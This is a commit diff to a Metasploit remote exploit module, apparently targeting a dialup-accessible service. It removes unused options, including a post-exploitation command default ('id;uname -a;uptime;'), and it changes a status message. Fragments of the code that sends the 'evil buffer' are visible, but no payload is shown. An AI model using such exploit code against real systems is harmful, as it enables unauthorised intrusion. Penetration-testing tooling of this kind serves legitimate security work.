Removed unused options, added success message.
git-svn-id: file:///home/svn/framework3/trunk@6730 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
69cc96a1ae
commit
1df854bee7
|
@ -64,9 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
register_options(
|
||||
[
|
||||
# OptInt.new('RETADDR', [true, 'Return Address', 0x00027184]),
|
||||
# OptString.new('USER', [true, 'User to log in as', 'bin']),
|
||||
OptString.new('COMMAND', [true, 'Command to execute upon exploitation', 'id;uname -a;uptime;']),
|
||||
], self.class
|
||||
)
|
||||
|
||||
|
@ -180,7 +178,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# send the evil buffer, 256 chars at a time
|
||||
print_status("Sending evil buffer...")
|
||||
#puts Rex::Text.to_hex_dump(buf)
|
||||
# dialup_puts(buf)
|
||||
len = buf.length
|
||||
p = 0
|
||||
while(len > 0) do
|
||||
|
@ -218,7 +215,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return
|
||||
end
|
||||
|
||||
print_status("Calling handler...")
|
||||
print_status("Success!!!")
|
||||
handler
|
||||
|
||||
disconnect_dialup
|
||||
|
|
Loading…
Reference in New Issue